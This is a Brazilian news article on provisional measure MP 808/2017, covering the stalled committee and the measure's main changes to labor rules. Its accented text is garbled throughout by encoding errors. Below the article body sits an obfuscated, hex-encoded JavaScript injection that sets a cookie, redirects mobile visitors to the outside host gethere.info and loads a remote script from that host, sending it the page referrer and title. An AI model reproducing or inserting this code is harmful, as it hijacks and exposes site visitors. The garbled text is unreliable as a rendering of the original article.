Home » Brasil » Congresso » A poucos dias de perder validade, MP que altera reforma trabalhista ainda nA?o comeAi??ou a tramitar

A poucos dias de perder validade, MP que altera reforma trabalhista ainda nA?o comeAi??ou a tramitar

A poucos dias de perder a validade ai??i?? no dia 22 de fevereiro ai??i??, a medida provisA?ria que altera pontos da reforma trabalhista (MP 808/2017) nem sequer teve os membros da comissA?o especial mista designados, para a primeira etapa de tramitaAi??A?o da matAi??ria.

O presidente deverA? ser o senador Bendito de Lira (PP-AL). JA? o relator serA? um deputado. Inicialmente, a ideia era que RogAi??rio Marinho (PSDB-RN), que foi o relator da reforma na CA?mara, tambAi??m fosse o da MP, mas as conversas nA?o avanAi??aram.

ai???Infelizmente, qualquer pergunta em relaAi??A?o a esse tema tem que ser dirigida ao presidente do Congresso Nacional [EunAi??cio Oliveira]. As medidas provisA?rias sA?o congressuais [CA?mara e Senado, com comissAi??es mistas] e desde que a medida veio para o Congresso, dia 14 de novembro, atAi?? agora o presidente ainda nA?o acenou de que forma essa comissA?o iria funcionar. VA?rios partidos jA? designaram membros, mesmo assim o presidente ainda nA?o definiu o funcionamento da comissA?o. Eu fui indicado pelo lAi??der do governo como relator, mas a rotina, a liturgia Ai?? de primeiro eleger o presidente, que serA? alguAi??m do Senadoai???, explicou Marinho Ai??Ai??AgA?ncia Brasil.

O deputado lembrou que o presidente geralmente acata a designaAi??A?o feita pela lideranAi??a do governo que Ai?? fruto de um consenso e de um rodAi??zio entre os partidos. ai???NA?o tenho mais expectativa sobre isso nA?o, jA? era pra estar funcionando, nA?o vou agora fazer prognA?stico, vamos aguardar o que o presidente do Congresso vai decidirai???, disse o deputado.

Acordo

A ediAi??A?o da MP foi um compromisso do presidente Michel Temer com os senadores, que estavam insatisfeitos com alguns pontos da reforma aprovada na CA?mara. O acordo garantiu que o texto fosse aprovado pelo Senado sem alteraAi??Ai??es, para que a matAi??ria nA?o tivesse de ser analisada mais uma vez pelos deputados, pois o governo tinha pressa.

O atraso na instalaAi??A?o da comissA?o acontece porque o presidente do Senado e do Congresso, EunAi??cio Oliveira (MDB-CE), busca garantir que as modificaAi??Ai??es acertadas com Temer sejam mantidas na MP. JA? Marinho indicou anteriormente que nA?o tem esse compromisso, o que causa desconforto.

AtAi?? o fechamento desta reportagem o presidente do Senado nA?o foi encontrado para comentar o assunto.

A MP alterou 17 artigos da reforma trabalhista, considerados mais polA?micos. Entre os parlamentares, a falta de consenso se reflete nA?o sA? no impasse para destravar a tramitaAi??A?o da matAi??ria, mas tambAi??m nas 967 emendas ao texto apresentadas Ai?? ComissA?o ai??i?? o nA?mero Ai?? recorde.

Saiba quais sA?o os principais pontos da MP:

Trabalho intermitenteAi??(executado em perAi??odos alternados de horas, dias ou meses) ai??i?? A modalidade de contrato garante parcelamento das fAi??rias em trA?s vezes, auxAi??lio-doenAi??a, salA?rio-maternidade e verbas rescisA?rias (com algumas restriAi??Ai??es), mas proAi??be o acesso ao seguro-desemprego ao fim do contrato. A convocaAi??A?o do trabalhador passa de um dia A?til para 24 horas. Trabalhador e empregado poderA?o pactuar o local de prestaAi??A?o do serviAi??o, os turnos de trabalho, as formas de convocaAi??A?o e resposta e o formato de reparaAi??A?o recAi??proca, em caso de cancelamento do serviAi??o previamente acertado entre as partes. O perAi??odo de inatividade nA?o serA? considerado como tempo Ai?? disposiAi??A?o do empregador e, portanto, nA?o serA? remunerado. O trabalhador poderA?, durante a inatividade, prestar serviAi??o para outro empregador. Em caso de demissA?o, ele sA? poderA? voltar a trabalhar para o ex-patrA?o, por contrato de trabalho intermitente, apA?s 18 meses. Essa restriAi??A?o vale atAi?? 2020.

GrA?vidas e lactantesAi??ai??i?? As gestantes serA?o afastadas de atividade insalubre e exercerA?o o trabalho em local salubre. Neste caso, deixarA?o de receber o adicional de insalubridade. Para as lactantes, o afastamento terA? de ser precedido de apresentaAi??A?o de atestado mAi??dico. O trabalho em locais insalubres de grau mAi??dio ou mAi??nimo somente serA? permitido quando a grA?vida, voluntariamente, apresentar atestado mAi??dico autorizando a atividade.

Jornada 12Ai??36Ai??ai??i?? Acordo individual escrito para a jornada de trabalho de 12 horas, seguidas de 36 horas de descanso, sA? poderA? ser feito no setor de saA?de (como hospitais). Nos demais setores econA?micos, essa jornada deverA? ser estabelecida por convenAi??A?o coletiva ou acordo coletivo de trabalho.

ContribuiAi??A?o previdenciA?riaAi??ai??i?? O trabalhador que em um mA?s receber menos do que o salA?rio mAi??nimo poderA? complementar a diferenAi??a para fins de contribuiAi??A?o previdenciA?ria. Se nA?o fizer isso, o mA?s nA?o serA? considerado pelo INSS para manutenAi??A?o de qualidade de segurado. A regra atinge todos os empregados, independentemente do tipo de contrato de trabalho.

NegociaAi??A?o coletivaAi??ai??i?? Acordo ou convenAi??A?o coletiva sobre enquadramento de trabalho em grau de insalubridade e prorrogaAi??A?o de jornada em locais insalubres poderA?o prevalecer sobre a legislaAi??A?o, desde que respeitadas as normas de saA?de, higiene e seguranAi??a do trabalho. Os sindicatos nA?o serA?o mais obrigados a participar de aAi??A?o de anulaAi??A?o de clA?usula de acordo ou convenAi??A?o impetrada por trabalhador (aAi??A?o individual). A participaAi??A?o obrigatA?ria (o chamado ai???litisconsA?rcio necessA?rioai???) havia sido determinada pela reforma trabalhista.

Trabalhador autA?nomoAi??ai??i??Ai??A MP acaba com a possibilidade de o trabalhador autA?nomo prestar serviAi??o a um sA? tomador (fim da clA?usula de exclusividade). O autA?nomo poderA? ter mais de um trabalho, no mesmo setor ou em outro diferente. Tem o direito de recusar atividade exigida pelo tomador.

RepresentaAi??A?o em local de trabalhoAi??ai??i?? A comissA?o de representantes dos empregados, permitida em empresas com mais de 200 empregados, nA?o substituirA? a funAi??A?o do sindicato, devendo este ter participaAi??A?o obrigatA?ria nas negociaAi??Ai??es coletivas.

PrA?miosAi??ai??i??Ai??Aqueles concedidos ao trabalhador (ligados a fatores como produtividade, assiduidade ou outro mAi??rito) poderA?o ser pagos em duas parcelas.

GorjetasAi??ai??i?? NA?o constituem receita prA?pria dos empregadores, destinando-se aos trabalhadores. O rateio seguirA? critAi??rios estabelecidos em normas coletivas de trabalho.

     var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

    Publicação: Redação Brasil (m)

    Login

    Perdeu sua senha?